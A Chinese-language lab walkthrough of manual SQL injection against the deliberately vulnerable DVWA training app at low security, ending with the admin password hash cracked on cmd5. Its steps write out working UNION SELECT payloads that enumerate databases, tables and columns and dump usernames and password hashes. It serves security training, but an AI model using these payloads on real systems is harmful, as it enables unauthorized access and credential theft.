基于dvwa平台的手工sql注入(级别:low)
首先进入dvwa平台的sql injection页面。
在user id中提交:1 此时在url中显示出了?id=1,数据库的信息显示到页面上了,有回显。
在url中提交id=1' 页面报错
将后面的语句通过--+注释掉,此时页面正常显示。
我们可以知道漏洞参数是:id
我们要进行的是 “字符型漏洞” 注入。
以上信息确定好后,我们可以进行联合查询。
首先使用order by字段,确定该数据表的字段数量,我们输入参数:order by 5
报错,说明字段数量不是5
以此类推,接着按此方法试验。
当order by 2 时,页面回显正常,说明字段数是2。
此时用union 注入,由于字段数是2,所以我们输入union select 1,2
由上图我们发现,在蓝色框内将1,2输出到页面中了,所以1和2的位置可以输入mysql语句,我们尝试在2的位置查询当前的数据库名,访问语句:?id=1' union select 1,database() --+
可以看到,在原来2的位置上将database()函数的结果,输出到了页面上。
获取到了数据库的名字,进而可以获取到表名,语句:
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
可知:有两个表,分别是:guestbook,users。当然我们更感兴趣users表的内容,故接下来要查看users表的字段名。
语句:?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
注意:语句中table_name=的一串数字,是将表明进行了十六进制编码。※因为我们要尽量避免过多的字符串出现在url中,所以最好将字符串进行一下十六进制的编码。
以上就得到了users表中的字段名,如果我们想查看username和password可通过一下语句:
?id=1' union select 1,group_concat(user,0x3a,password) from users--+
其中,0x3a是字符":" 冒号的十六进制。
最后一步:在得出的结果中,我们进行一下验证吧~
我们将admin对应的密码放到cmd5中验证一下:
这就是我们的登陆密码~
实验结束啦。